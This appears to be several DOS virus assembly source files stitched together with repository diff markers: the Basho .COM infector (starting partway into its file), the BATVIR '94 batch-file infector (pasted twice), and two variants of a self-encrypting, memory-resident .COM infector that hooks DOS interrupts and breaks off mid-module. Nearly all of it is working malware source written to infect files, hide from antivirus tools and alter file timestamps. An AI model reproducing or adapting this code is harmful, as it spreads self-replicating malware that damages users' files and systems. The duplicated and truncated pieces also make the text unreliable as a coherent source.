; V1 = Main Body of BASHO
; V2 = Launching Pad
; Upon execution of the true virus code, files will be infected, and the bomb
; will be tested, etc. etc. Afterward the True Virus Code will RET back to
; the launchpad, and the P3 area will be restored as well as the DTA, and
; the host file will be run 100% without error. ( or at least I think so ).
; Why the hell I did it:
; Just to confuse everyone, including the AV companies and myself.
; -- Sea4 of the CodeBreakers
;***************************************************************
; A little Map
;============== ==============
;| | |____________| <-- Jmp To Launching
;| | | | Pad ( P1 )
;| | | Program |
;| UnInfected | | bytes that |
;| Host | | are not |
;| | | affected. |
;| | | ( P2 ) |
;| | | |
;| | | |
;| | | |
;| | |____________|
;| | | |
;| | File Length | Main body |
;| | Before Infect.| of BASHO. |
;| | | | ( V1 ) |
;| | | | * | <-- Ret to Launch Pad
;============== <<- - - ->> ==============
; | Bytes moved|
; Additional Area |to make room|
; Now that file has been |for BASHO. |
; infected with BASHO | ( P3 ) |
; |____________|
; |Launch Pad |
; P3 and the main body | ( V2 ) |
; of BASHO have the same ============== <-- New file length
; length.
;
;***************************************************************
start:
jmp StartV2
startV1: ; Actual Virus code
V1Length EQU endV1-startV1
mov [bp+victims],cl ; Starts at 0 for victem count
mov ah,47h ; Function 47h: Get Current Directory
cwd ; 00h in DL = Default Drive
lea si,[bp+Cur_DIR] ; 64 byte buffer for pathname
int 21h ; Calls DOS to write current DIR to CurDIR
Dot_Dot:
jmp short infectDIR
Next_Dir:
mov ah,3Bh ; Function 3Bh: Change Directory
lea dx,[bp+Dot_mask] ; Saved starting directory
int 21h ; Calls DOS or Dir Change
jnc Dot_Dot
jmp Badstuff ; All directories have been killed, lets go
InfectDIR:
; Here is our find file thingy
mov ah,4Eh ; Find files
mov cx,7 ; Looking for all file types
lea dx,[bp+com_mask] ; Points to the *.com
FindNext:
int 21h ; Find all the com files
jnc Open ; Success
jmp Next_DIR ; None left in this directory, lets move
Move_FP: ; Move file Pointer call
mov ax,4200h
Here:
xor cx,cx
int 21h
ret
Open:
; Set attrib to 0, so we can write over read only files and such
mov ax,4301h ; Set attrib to 0
lea dx,[bp+File_name]
Call Here
; Opens file for read/write access
mov ax,3D02h ; Open File
int 21h
xchg bx,ax ; Gives the file handle from AX to BX in one byte.
mov ah,3Fh ; Read first three bytes
mov cl,3 ; 3 bytes, CX holds number of bytes to read
lea dx,[bp+saved] ; Buffer for saved bytes :)
int 21h ; Tells DOS to read 'em
; Check infection criteria
; If file is too large it may crash, and too small is easily noticable
xor cx,cx ; See if file is larger than 1 segment
cmp cx,[bp+File_size_off] ; 9Ch holds the segment size, Basho doesn't handle
; files larger than one segment, so we can't
; infect something larger than FFFFh bytes
jnz Close ; Its more than 1 segment lets escape
mov ax,[bp+File_size] ; Retrieves offset size of target file
; File must be greater than 1k
; Keeping smaller files from being infected
cmp ax,400h ; 400h = 1024 bytes ( 1k )
jc Close ; Its too small, get the hell outta here
; File must be less than 61440
; Stack errors and wrapping of bytes may occur if the
; file + virus + buffer excedes 1 segment ( FFFFh bytes )
cmp ax,0F000h ; 61440, to provide room for buffer and virus size
jnc Close ; To big, may cause errors, can't do it
push ax ; Saves file size for later
sub ax,3 ; Taking into account the JMP
push ax ; Save that for the new 3 bytes
; Test 2nd + 3rd bytes for JMP location to V2 ( LaunchPad )
; Here we check for previous infection by testing if the jump looks
; like one created by a previous running of Basho.
sub ax,V2Length ; We need the new jump to go to the launch pad
cmp ax,[bp+saved+1] ; Tests if the file has been infected with Basho
jz Close
pop ax ; Retrieves jump location
add ax,V1Length ; Adds the length added by virus
mov [bp+jumpto],ax ; Sets jump location for victim
; Set FP to beginning
xor dx,dx
call Move_FP
; Write new JMP to victim
mov cl,3 ; Length of area to write ( 3 bytes )
lea dx,[bp+jumping] ; its the location of the new JMP
mov ah,40h
int 21h
; Move FP to get bytes from End of victim
; Since DX specifies the location in bytes from beginning we want
; to move the FP, and since we want to move to End of File-V1Length
; We take the entire filesize-V1Length, and move that far from
; the beginning of file.
pop dx ; Retrieves filesize
sub dx,V1Length ; Places location in file at End-V1Length
push dx ; Saves this spot for the write
call Move_FP
; Here is where we retrieve the P3 file bytes and save them for later
mov ah,3Fh ; Function 3Fh: Read from file/device
mov cx,V1Length ; Number of bytes to read
lea dx,[bp+startP3] ; Actual area for file bytes
int 21h ; Duh, it read those bytes into the P3 area
; Now we write the virus code into that area we just made
pop dx ; Retrieves location by previous Move FP
call Move_FP
mov cx,endV2-startV1 ; Now we can just write all that area to
lea dx,[bp+startV1] ; The victem because we have prepared so well :)
mov ah,40h
int 21h
inc Byte Ptr [bp+victims] ; Increments our Byte counter
Close:
mov ax,5701h ; Set Date/Time stamps
mov dx,[bp+File_Date]
mov cx,[bp+File_Time]
int 21h
; Close File
mov ah,3Eh ; Function 3Eh: Close file
int 21h ; Shut that mo fo down
mov ah,43h ; Reset attributes
lea dx,[bp+File_Name]
xor cx,cx
mov cl,[bp+Attributes]
int 21h
mov ch,04h ; Only four files per run
cmp [bp+victims],ch ; Sees if we have had that many so far
jnc BadStuff ; If so, run the bomb sequence
mov ax,4F00h ; Jump to FindNext routines
jmp FindNext
BadStuff: ; Payload
; Before starting the bomb, we head to original DIR
mov ah,3Bh ; Function 3Bh: Change Directory
lea dx,[bp+Cur_DIR]; Saved starting directory
int 21h
; Activation checker
mov ah,04h ; Function 04h: Get Real Time Clock ( Date )
int 1Ah ; INT 1Ah BIOS Time interrupt
; Gets the date and puts the value into the following
; registers.
; CH = Century
; CL = Year
; DH = Month
; DL = Day
cmp dx,0701h ; July 7th, I like this day.
jnz Exit ; Its not the date, we'll try another time
; Just displays a simple message
mov ah,09h ; Function 09h: Write string to std output
lea dx,[bp+message] ; Where the message is stored
int 21h ; Announce our presence
Exit:
mov sp,0FFFCh ; Restores the stack pointer to where the RET should go to
ret ; I did this to make sure it would go back to the right spot
; Then return to caller.
virus_name db '[Basho]',0 ; Named after the poet
author db 'Sea4, CodeBreakers',0 ; Me and who I work for
com_mask db '*.com',0 ; Com file mask
dot_mask db '..',0 ; Dot dot dir mask
saved db 0CDh,20h,00h ; Saved 3 bytes from infected files
jumping db 0E9h ; JMP
jumpto db 0,0 ; Jump to launch pad
message db 'The temple bell stops,',0Dh,0Ah ; A lovely Haiku
db 'But the sound keeps coming',0Dh,0Ah
db 'Out of the flowers.',0Dh,0Ah,'$'
endV1:
startP3: ; Program code that has been moved to accomodate our virus
db V1Length dup (90h)
endP3:
startV2: ; Virus's little launching pad.
V2Length EQU endV2-startv2
; Pretty cut and dry delta offset thing
call Delta ; Gets delta offsets
Delta:
pop bp ; Retrieve Locale for BP
sub bp,offset Delta ; Subtracts that by the original to obtain
; the location moved down in memory
mov ah,1Ah ; Set new DTA, this is a first for me
lea dx,[bp+New_Dta]
int 21h
; Rewrite first three bytes
lea si,[bp+saved] ; Where we saved em
mov di,100h ; Start of Program, ( i.e. where they go )
movsb
movsw
lea di,[bp+BufferP3] ; This block moves P3 code into the buffer so the
lea si,[bp+StartP3] ; when the virus runs, it doesn't get overwritten
mov cx,V1Length ; Length of that area
rep movsb ; Move it out!!
call StartV1 ; Normal Virus Code
lea si,[bp+BufferP3] ; Loads start of moved program code into SI
lea di,[bp+startV1] ; Virus location into DI
mov cx,V1length ; Virus code length
rep movsb ; Restores bytes
; Restores the saved DTA
mov ah,1Ah ; Set original DTA
mov dx,80h
int 21h
push 100h ; We are gonna run the host program now
ret ; Go for it
endV2:
Buffer:
New_Dta db 21 dup (90h) ; DTA!!
Attributes db 00h
File_time dw 00h
File_date dw 00h
File_size dw 00h
File_size_off dw 00h
File_name db 13 dup (0)
victims db 0h ; Victim count
Cur_DIR db 64 dup (0) ; Location of current DIR
BufferP3:
+237
View File
@@ -0,0 +1,237 @@
; [BATVIR] '94 (c) 1994 Stormbringer [Phalcon/Skism]
;
; This virus is a bit cheesy, but hell.... Believe it or not, I got bored
;enough to write a direct action .BAT infector in assembly. It infects files
;by basically creating a debug script of itself, echoing it out to a file,
;then running it using debug to infect more files. I doubt anyone has
;done this in quite this manner, so....
;
;
;
;enjoy,
;Stormbringer [P/S]
.model tiny
.radix 16
.code
org 100
start:
mov ah,4e
mov dx,offset filemask
FindFile:
int 21
jc NoMoreFiles
mov dx,9e
mov ax,3d02
int 21
jc DoneInfect
xchg bx,ax
mov ax,5700
int 21
push cx dx
cmp dh,80
jae AlreadyInfected
mov ax,4202
xor cx,cx
xor dx,dx
int 21
mov si,100
mov di,offset end_virus
mov cx,end_virus-start
push bx
call Convert2Hex
pop bx
call InfectBat
pop dx
add dh,0c8 ;Add 100 years to filedate
push dx
AlreadyInfected:
pop dx cx
mov ax,5701
int 21
mov ah,3e
int 21
DoneInfect:
mov ah,4f
jmp FindFile
NoMoreFiles:
mov ax,4c00
int 21
Convert2Hex:
push cx
lodsb
mov bx,ax
mov cx,4
shr al,cl
push ax
call convert2asc
stosb
pop ax
shl al,cl
sub bl,al
xchg al,bl
call convert2asc
stosb
mov ax,' '
stosb
pop cx
loop Convert2hex
stosb
stosb
ret
convert2asc:
cmp al,0a
jae letter
add al,'0'
ret
letter:
add al,'A'-0a
ret
InfectBat:
mov ah,40
mov dx,offset startinf
mov cx,endsinf-startinf ;Write start of infection
int 21
mov dx,offset end_virus
DataLoop:
push dx
call calcloc
call writeecho1
pop dx
push dx
mov cx,di
sub cx,dx
cmp cx,60d
jb WriteData
mov cx,60d
WriteData:
mov ah,40
int 21
push ax
call WriteRedirect
pop ax
pop dx
add dx,ax
cmp dx,di
jae WriteGoExitCommands
jmp DataLoop
WriteGoExitCommands:
call writeecho2
mov ah,40
mov dx,offset govirus
mov cx,1
int 21
call WriteRedirect
call writeecho2
mov ah,40
mov dx,offset govirus+1
mov cx,1
int 21
call WriteRedirect
mov dx,offset batchender
mov cx,endbatend-batchender
mov ah,40
int 21
ret
WriteRedirect:
mov dx,offset echodest
mov cx,endvirusfile-echodest
mov ah,40
int 21
ret
WriteEcho1:
mov cx,enddb-databyte
jmp short WriteEcho
WriteEcho2:
mov cx,5
WriteEcho:
mov dx,offset databyte
mov ah,40
int 21
ret
calcloc:
push ax bx cx dx si di
sub dx,offset end_virus
mov ax,dx
mov cx,3
xor dx,dx
div cx
mov dx,ax
add dx,100
mov di,offset temp
mov si,offset location
xchg dh,dl
mov location,dx
mov cx,2
call Convert2Hex
mov di,offset buffer1
mov si,offset temp
movsw
lodsb
movsw
pop di si dx cx bx ax
ret
Filemask db '*.bat',0
govirus db 'gq'
endgovirus:
databyte db 'echo e'
buffer1 db '0100 '
enddb:
echodest db ' >>'
VirusFile db 'batvir.94',0dh,0a
EndVirusFile:
Batchender db 'debug<batvir.94',0dh,0a ,'del batvir.94',0dh,0a
db 'ctty con',0dh,0a
endbatend:
startinf:
db 0dh,0a,'@echo off',0dh,0a
db 'ctty nul',0dh,0a
Credits db 'rem [BATVIR] ''94 (c) Stormbringer [P/S]',0dh,0a
endsinf:
location dw 0
temp dw 0,0,0,0
end_virus:
end start
@@ -0,0 +1,237 @@
; [BATVIR] '94 (c) 1994 Stormbringer [Phalcon/Skism]
;
; This virus is a bit cheesy, but hell.... Believe it or not, I got bored
;enough to write a direct action .BAT infector in assembly. It infects files
;by basically creating a debug script of itself, echoing it out to a file,
;then running it using debug to infect more files. I doubt anyone has
;done this in quite this manner, so....
;
;
;
;enjoy,
;Stormbringer [P/S]
.model tiny
.radix 16
.code
org 100
start:
mov ah,4e
mov dx,offset filemask
FindFile:
int 21
jc NoMoreFiles
mov dx,9e
mov ax,3d02
int 21
jc DoneInfect
xchg bx,ax
mov ax,5700
int 21
push cx dx
cmp dh,80
jae AlreadyInfected
mov ax,4202
xor cx,cx
xor dx,dx
int 21
mov si,100
mov di,offset end_virus
mov cx,end_virus-start
push bx
call Convert2Hex
pop bx
call InfectBat
pop dx
add dh,0c8 ;Add 100 years to filedate
push dx
AlreadyInfected:
pop dx cx
mov ax,5701
int 21
mov ah,3e
int 21
DoneInfect:
mov ah,4f
jmp FindFile
NoMoreFiles:
mov ax,4c00
int 21
Convert2Hex:
push cx
lodsb
mov bx,ax
mov cx,4
shr al,cl
push ax
call convert2asc
stosb
pop ax
shl al,cl
sub bl,al
xchg al,bl
call convert2asc
stosb
mov ax,' '
stosb
pop cx
loop Convert2hex
stosb
stosb
ret
convert2asc:
cmp al,0a
jae letter
add al,'0'
ret
letter:
add al,'A'-0a
ret
InfectBat:
mov ah,40
mov dx,offset startinf
mov cx,endsinf-startinf ;Write start of infection
int 21
mov dx,offset end_virus
DataLoop:
push dx
call calcloc
call writeecho1
pop dx
push dx
mov cx,di
sub cx,dx
cmp cx,60d
jb WriteData
mov cx,60d
WriteData:
mov ah,40
int 21
push ax
call WriteRedirect
pop ax
pop dx
add dx,ax
cmp dx,di
jae WriteGoExitCommands
jmp DataLoop
WriteGoExitCommands:
call writeecho2
mov ah,40
mov dx,offset govirus
mov cx,1
int 21
call WriteRedirect
call writeecho2
mov ah,40
mov dx,offset govirus+1
mov cx,1
int 21
call WriteRedirect
mov dx,offset batchender
mov cx,endbatend-batchender
mov ah,40
int 21
ret
WriteRedirect:
mov dx,offset echodest
mov cx,endvirusfile-echodest
mov ah,40
int 21
ret
WriteEcho1:
mov cx,enddb-databyte
jmp short WriteEcho
WriteEcho2:
mov cx,5
WriteEcho:
mov dx,offset databyte
mov ah,40
int 21
ret
calcloc:
push ax bx cx dx si di
sub dx,offset end_virus
mov ax,dx
mov cx,3
xor dx,dx
div cx
mov dx,ax
add dx,100
mov di,offset temp
mov si,offset location
xchg dh,dl
mov location,dx
mov cx,2
call Convert2Hex
mov di,offset buffer1
mov si,offset temp
movsw
lodsb
movsw
pop di si dx cx bx ax
ret
Filemask db '*.bat',0
govirus db 'gq'
endgovirus:
databyte db 'echo e'
buffer1 db '0100 '
enddb:
echodest db ' >>'
VirusFile db 'batvir.94',0dh,0a
EndVirusFile:
Batchender db 'debug<batvir.94',0dh,0a ,'del batvir.94',0dh,0a
db 'ctty con',0dh,0a
endbatend:
startinf:
db 0dh,0a,'@echo off',0dh,0a
db 'ctty nul',0dh,0a
Credits db 'rem [BATVIR] ''94 (c) Stormbringer [P/S]',0dh,0a
endsinf:
location dw 0
temp dw 0,0,0,0
end_virus:
end start
+567
View File
@@ -0,0 +1,567 @@
code segment
assume cs:code,ds:code
.radix 16
org 100
start:
push word ptr cs:[table+2]
push cs
inc ax
dec ax
pop ds
jmp word ptr cs:[table] ;go to module 1
curofs dw ?
files db 0 ;number of infected files from this copy
fsize dw 2 ;size of infected file
ftime dw ?
fdate dw ?
stdint21 dd ?
oldint13 dd ?
oldint21 dd ?
oldint24 dd ?
;------------- TABLE WITH MODULE PARAMETERS --------------------
table:
dw offset false_mod_1 ;00
dw offset mod_2 ;02
dw offset mod_3 ;04
dw offset mod_4 ;06 ;offset modules
dw offset mod_5 ;08
dw offset mod_6 ;0a
dw offset mod_7 ;0c
dw offset mod_8 ;0e
dw offset mod_2 - offset mod_1;10
dw offset mod_3 - offset mod_2;12
dw offset mod_4 - offset mod_3;14
dw offset mod_5 - offset mod_4;16
dw offset mod_6 - offset mod_5;18 ;size modules
dw offset mod_7 - offset mod_6;1a
dw offset mod_8 - offset mod_7;1c
dw offset myend - offset mod_8;1e
;------------- MODULE - 1 - CODER/DECODER ----------------------
mod_1:
mov bx,offset table+2 ;first module to working (module 2)
mov cx,6 ;number of modules to working
mod_1_lp1:
inc ax
dec ax
cmp bx,offset table+0a
jne mod_1_cont
add bx,2
mod_1_cont:
push bx
push cx
inc ax
inc ax
mov ax,[bx] ;ax - offset module
mov cx,[bx+10] ;cx - size of module
mov bx,ax
mod_1_lp2:
inc ax
dec ax
xor byte ptr [bx],al
inc bx
loop mod_1_lp2
pop cx
pop bx
inc ax
dec ax
add bx,2
loop mod_1_lp1
ret
;------------- MODULE - 2 - MUTATION TO MEMORY -----------------
mod_2:
;instalation check
mov es,cs:[2] ;memory size
mov di,100
mov si,100
inc bx
dec bx
mov cx,0bh
repe cmpsb
jne mod_2_install ;jump if not install
jmp word ptr cs:[table+06] ;if install, jump to module 4
inc di
dec di
mod_2_install:
;instalation
mov ax,cs
dec ax
mov ds,ax
inc ax
dec ax
cmp byte ptr ds:[0],'Z'
je mod_2_cont
inc ax
dec ax
jmp word ptr cs:[table+6] ;if no last MCB - go to mod4
mod_2_cont:
sub word ptr ds:[3],0c0
mov ax,es
sub ax,0c0
mov es,ax
mov word ptr ds:[12],ax ;decrement memory size with 2K
push cs
pop ds
mod_2_mut:
mov byte ptr cs:files,0
mov di,100
mov cx,offset mod_1-100
mov si,100
rep movsb ;write table to new memory
mov bx,word ptr cs:[table]
inc si
dec si
add bx,offset mod_1_lp2-offset mod_1+1
xor byte ptr [bx],18 ;change code method
mov cx,8
mov word ptr curofs,offset mod_1
mod_2_lp1:
push cx
call mod_2_rnd ;generate random module addres
push bx ;addres in table returned from mod_2_rnd
mov ax,[bx] ;offset module
push ax
add bx,10
mov cx,[bx] ;length of module
pop si
inc bx
pop bx
xchg di,curofs
mov word ptr es:[bx],di ;change module offset in table
rep movsb ;copy module to new memory
xchg di,curofs ;change current offset in new memory
mov ax,8000
or word ptr [bx],ax ;mark module - used
pop cx
loop mod_2_lp1
inc cl
mov cl,8
not ax
mov bx,offset table
mod_2_lp2:
and word ptr [bx],ax ;unmark all modules
add bx,2
loop mod_2_lp2
jmp word ptr cs:[table+4] ;go to module 3
mod_2_rnd:
push cx
push es
xor cx,cx
mov es,cx
mod_2_lp3:
mov bx,es:[46c]
db 81,0e3,07,00 ;and bx,7
shl bx,1
add bx,offset table
test [bx],8000
jnz mod_2_lp3
pop es
pop cx
ret
;------------- MODULE - 3 - SET INTERRUPT VECTORS ---------------
mod_3:
xor ax,ax
mov ds,ax
mov ax,ds:[4*21]
mov word ptr es:[oldint21],ax
dec ax
mov ax,ds:[4*21+2]
mov word ptr es:[oldint21+2],ax
mov ah,31
dec ah
int 21
cmp ax,1e03
jne mod_3_getvec
mov word ptr es:[stdint21],1460
mov ax,1202
push ds
inc ax
int 2f
mov word ptr es:[stdint21+2],ds
pop ds
jmp mod_3_setvec
mod_3_getvec:
mov ax,ds:[4*21]
mov word ptr es:[stdint21],ax
mov ax,ds:[4*21+2]
mov word ptr es:[stdint21+2],ax
mod_3_setvec:
cli
mov ax,word ptr es:[table+0c]
mov ds:[4*21],ax
add ax,13
mov ax,es
mov ds:[4*21+2],ax
sti
mov cx,es
mov ah,13 ;
int 2f ;
push es ;
mov es,cx ;
mov word ptr es:[oldint13],dx ; get standart int13 addres
mov word ptr es:[oldint13+2],ds ;
inc ax
pop es ;
dec ax
int 2f ;
jmp word ptr cs:[table+06] ;go to module 4
;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ----
mod_4:
push cs
push cs
pop ds
pop es
mov si,word ptr cs:[table+06]
add si,offset mod_4_cont - offset mod_4
inc di
mov di,cs:fsize
add di,offset myend+1
push di
mov cx,offset mod_5 - offset mod_4_cont
cld
rep movsb
ret
mod_4_cont:
mov si,cs:fsize
add si,100
cmp si,offset myend+1
jnc mod_4_cnt
mov si,offset myend+1
mod_4_cnt:
mov di,100
mov cx,offset myend-100
rep movsb
mov ax,101 ;
dec ax
push ax ; jmp 100
ret ;
;------------- MODULE - 5 - SPECIAL PROGRAM ---------------------
mod_5:
xor di,di
mov ds,di
cli
mov di,word ptr cs:[oldint21]
mov ds:[4*21],di
inc di
mov di,word ptr cs:[oldint21+2]
mov ds:[4*21+2],di
sti
ret
db 'Pile of shit '
;------------- MODULE - 6 - INT 24 HEADER -----------------------
mod_6:
mov al,3
iret
db 'The Worthless Piece of shit vi-rus that is a joke ',0
;------------- MODULE - 7 - INT 21 HEADER -----------------------
mod_7:
push bx
push si
push di
push es
push ax
cmp ax,4b00
je mod_7_begin
jmp mod_7_exit
mod_7_begin:
push ds
push cs ;
pop es ;
xor ax,ax ;
mov ds,ax ;
mov si,69
mov si,4*24 ;
mov di,offset oldint24 ;
movsw ; change int24 vector
movsw ;
mov ax,word ptr cs:[table+0a] ;
cli
mov ds:[4*24],ax ;
mov ax,69
mov ax,cs ;
mov ds:[4*24+2],ax ;
sti
pop ds
mov ax,3d00 ;
pushf ;
call cs:oldint21 ;
jc mod_7_ex ; open,infect,close file
mov bx,ax ;
mod_7_infect: ;
call word ptr cs:[table+0e] ;
pushf
mov ah,3f
dec ah ;
pushf ;
call cs:oldint21 ;
popf
jc mod_7_ex
push ds ;
cli ;
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:[oldint13] ;
xchg ax,word ptr ds:[4*13] ;
mov word ptr cs:[oldint13],ax ; exchange int13 vectors
mov ax,69
mov ax,word ptr cs:[oldint13+2] ;
xchg ax,word ptr ds:[4*13+2] ;
mov word ptr cs:[oldint13+2],ax ;
sti ;
pop ds ;
mod_7_ex:
push ds ;
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:oldint24 ;
mov ds:[4*24],ax ;
mov ax,69
mov ax,word ptr cs:oldint24+2 ; restore int24 vector
mov ds:[4*24+2],ax ;
pop ds ;
mod_7_exit:
pop ax
pop es
pop di
pop si
pop bx
jmp cs:oldint21
;------------- MODULE - 8 - INFECTING (bx - file handle) --------
mod_8:
push cx
push dx
push ds
push es
push di
push bp
push bx
mov ax,1221
dec ax
int 2f
mov bl,es:[di]
xor bh,bh
mov ax,1216
int 2f
pop bx
mov ax,word ptr es:[di+11]
cmp ax,0f000
jc mod_8_c
jmp mod_8_exit
mod_8_c:
mov word ptr es:[di+2],2 ;open mode - R/W
mov ax,69
mov ax,es:[di+11]
mov cs:fsize,ax ; save file size
mov ax,word ptr es:[di+0dh] ;
mov word ptr cs:[ftime],ax ; save file date/time
mov ax,69
mov ax,word ptr es:[di+0f] ;
mov word ptr cs:[fdate],ax ;
push cs ;
pop ds ;
mov dx,offset myend+1 ;
mov cx,offset myend-100 ; read first bytes
mov ah,3f ;
pushf
nop
call cs:oldint21
jnc mod_8_cnt
jmp mod_8_exit
mod_8_cnt:
mov bp,ax ; ax - bytes read
mov si,dx
mov ax,'MZ'
nop
cmp ax,word ptr ds:[si]
jne mod_8_nxtchk
jmp mod_8_exit
mod_8_nxtchk:
xchg ah,al
nop
cmp ax,ds:[si]
jne mod_8_cnt2
jmp mod_8_exit
mod_8_cnt2:
push es
push di
push cs ;
nop
pop es ;
mov si,100 ;
mov di,dx ; check for infected file
nop
mov cx,0bh ;
repe cmpsb ;
nop
pop di
pop es
jne mod_8_cnt1 ;
jmp mod_8_exit
mod_8_cnt1:
mov word ptr es:[di+15],0 ; fp:=0
push es
push di
mov si,word ptr cs:[table+0e]
add si,offset mod_8_cont - offset mod_8
xor di,di
push cs
nop
pop es
mov cx,offset mod_8_cont_end - offset mod_8_cont
cld
rep movsb
pop di
pop es
nop
mov si,word ptr cs:[table+0e]
add si,offset mod_8_cont_end - offset mod_8
push si
xor si,si
push si
push ds ;
cli ;
nop
xor ax,ax ;
mov ds,ax ;
mov ax,word ptr cs:[oldint13] ;
xchg ax,word ptr ds:[4*13] ;
mov word ptr cs:[oldint13],ax ;
nop
mov ax,word ptr cs:[oldint13+2] ; exchange int13 vectors
xchg ax,word ptr ds:[4*13+2] ;
nop
mov word ptr cs:[oldint13+2],ax ;
sti ;
pop ds ;
ret
mod_8_cont:
push bx
nop
call word ptr cs:[table] ; code virus
pop bx
mov dx,100 ;
mov ah,40 ; write code in begin
mov cx,offset myend-0ff
pushf ;
call cs:stdint21 ;
pushf
push bx
nop
call word ptr cs:[table] ; decode virus
pop bx
popf
jnc mod_8_cont1
pop ax
nop
mov ax,word ptr cs:[table+0e]
add ax,offset mod_8_ext - offset mod_8
push ax
ret
mod_8_cont1:
mov ax,es:[di+11] ; fp:=end of file
mov word ptr es:[di+15],ax ;
mov dx,offset myend+1
nop
mov cx,bp ; bp - files read
mov ah,40 ;
pushf ;
call cs:stdint21 ; write in end of file
ret
mod_8_cont_end:
mov ax,5701 ;
nop
mov cx,cs:ftime ;
mov dx,cs:fdate ; restore file date/time
pushf ;
call cs:oldint21 ;
inc cs:files
cmp cs:files,0a
nop
jne mod_8_ext
call word ptr cs:[table+8]
jmp short mod_8_ext
mod_8_exit:
stc
jmp short mod_8_ex
mod_8_ext:
clc
mod_8_ex:
pop bp
pop di
pop es
pop ds
pop dx
pop cx
ret
;---------------------------------------------------------------
myend db 0
int 20 ;code of infected file
false_mod_1:
mov word ptr cs:[table],offset mod_1
ret
code ends
end start

+540
View File
@@ -0,0 +1,540 @@
code segment
assume cs:code,ds:code
.radix 16
org 100
start:
push word ptr cs:[table+2]
push cs
nop
pop ds
jmp word ptr cs:[table] ;go to module 1
curofs dw ?
files db 0 ;number of infected files from this copy
fsize dw 2 ;size of infected file
ftime dw ?
fdate dw ?
stdint21 dd ?
oldint13 dd ?
oldint21 dd ?
oldint24 dd ?
;------------- TABLE WITH MODULE PARAMETERS --------------------
table:
dw offset false_mod_1 ;00
dw offset mod_2 ;02
dw offset mod_3 ;04
dw offset mod_4 ;06 ;offset modules
dw offset mod_5 ;08
dw offset mod_6 ;0a
dw offset mod_7 ;0c
dw offset mod_8 ;0e
dw offset mod_2 - offset mod_1;10
dw offset mod_3 - offset mod_2;12
dw offset mod_4 - offset mod_3;14
dw offset mod_5 - offset mod_4;16
dw offset mod_6 - offset mod_5;18 ;size modules
dw offset mod_7 - offset mod_6;1a
dw offset mod_8 - offset mod_7;1c
dw offset myend - offset mod_8;1e
;------------- MODULE - 1 - CODER/DECODER ----------------------
mod_1:
mov bx,offset table+2 ;first module to working (module 2)
mov cx,6 ;number of modules to working
mod_1_lp1:
nop;
cmp bx,offset table+0a
jne mod_1_cont
add bx,2
mod_1_cont:
push bx
push cx
nop
mov ax,[bx] ;ax - offset module
mov cx,[bx+10] ;cx - size of module
mov bx,ax
mod_1_lp2:
nop;
xor byte ptr [bx],al
inc bx
loop mod_1_lp2
pop cx
pop bx
nop;
add bx,2
loop mod_1_lp1
ret
;------------- MODULE - 2 - MUTATION TO MEMORY -----------------
mod_2:
;instalation check
mov es,cs:[2] ;memory size
mov di,100
mov si,100
nop
mov cx,0bh
repe cmpsb
jne mod_2_install ;jump if not install
jmp word ptr cs:[table+06] ;if install, jump to module 4
nop
mod_2_install:
;instalation
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds:[0],'Z'
je mod_2_cont
nop
jmp word ptr cs:[table+6] ;if no last MCB - go to mod4
mod_2_cont:
sub word ptr ds:[3],0c0
mov ax,es
sub ax,0c0
mov es,ax
mov word ptr ds:[12],ax ;decrement memory size with 2K
push cs
pop ds
mod_2_mut:
mov byte ptr cs:files,0
mov di,100
mov cx,offset mod_1-100
mov si,100
rep movsb ;write table to new memory
mov bx,word ptr cs:[table]
add bx,offset mod_1_lp2-offset mod_1+1
xor byte ptr [bx],18 ;change code method
mov cx,8
mov word ptr curofs,offset mod_1
mod_2_lp1:
push cx
call mod_2_rnd ;generate random module addres
push bx ;addres in table returned from mod_2_rnd
mov ax,[bx] ;offset module
push ax
add bx,10
mov cx,[bx] ;length of module
pop si
pop bx
xchg di,curofs
mov word ptr es:[bx],di ;change module offset in table
rep movsb ;copy module to new memory
xchg di,curofs ;change current offset in new memory
mov ax,8000
or word ptr [bx],ax ;mark module - used
pop cx
loop mod_2_lp1
mov cl,8
not ax
mov bx,offset table
mod_2_lp2:
and word ptr [bx],ax ;unmark all modules
add bx,2
loop mod_2_lp2
jmp word ptr cs:[table+4] ;go to module 3
mod_2_rnd:
push cx
push es
xor cx,cx
mov es,cx
mod_2_lp3:
mov bx,es:[46c]
db 81,0e3,07,00 ;and bx,7
shl bx,1
add bx,offset table
test [bx],8000
jnz mod_2_lp3
pop es
pop cx
ret
;------------- MODULE - 3 - SET INTERRUPT VECTORS ---------------
mod_3:
xor ax,ax
mov ds,ax
mov ax,ds:[4*21]
mov word ptr es:[oldint21],ax
mov ax,ds:[4*21+2]
mov word ptr es:[oldint21+2],ax
mov ah,30
int 21
cmp ax,1e03
jne mod_3_getvec
mov word ptr es:[stdint21],1460
mov ax,1203
push ds
int 2f
mov word ptr es:[stdint21+2],ds
pop ds
jmp mod_3_setvec
mod_3_getvec:
mov ax,ds:[4*21]
mov word ptr es:[stdint21],ax
mov ax,ds:[4*21+2]
mov word ptr es:[stdint21+2],ax
mod_3_setvec:
cli
mov ax,word ptr es:[table+0c]
mov ds:[4*21],ax
mov ax,es
mov ds:[4*21+2],ax
sti
mov cx,es
mov ah,13 ;
int 2f ;
push es ;
mov es,cx ;
mov word ptr es:[oldint13],dx ; get standart int13 addres
mov word ptr es:[oldint13+2],ds ;
pop es ;
int 2f ;
jmp word ptr cs:[table+06] ;go to module 4
;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ----
mod_4:
push cs
push cs
pop ds
pop es
mov si,word ptr cs:[table+06]
add si,offset mod_4_cont - offset mod_4
mov di,cs:fsize
add di,offset myend+1
push di
mov cx,offset mod_5 - offset mod_4_cont
cld
rep movsb
ret
mod_4_cont:
mov si,cs:fsize
add si,100
cmp si,offset myend+1
jnc mod_4_cnt
mov si,offset myend+1
mod_4_cnt:
mov di,100
mov cx,offset myend-100
rep movsb
mov ax,100 ;
push ax ; jmp 100
ret ;
;------------- MODULE - 5 - SPECIAL PROGRAM ---------------------
mod_5:
xor di,di
mov ds,di
cli
mov di,word ptr cs:[oldint21]
mov ds:[4*21],di
mov di,word ptr cs:[oldint21+2]
mov ds:[4*21+2],di
sti
ret
db 'Pile of shit '
;------------- MODULE - 6 - INT 24 HEADER -----------------------
mod_6:
mov al,3
iret
db 'The Worthless Piece of shit virus that is a joke. ',0
;------------- MODULE - 7 - INT 21 HEADER -----------------------
mod_7:
push bx
push si
push di
push es
push ax
cmp ax,4b00
je mod_7_begin
jmp mod_7_exit
mod_7_begin:
push ds
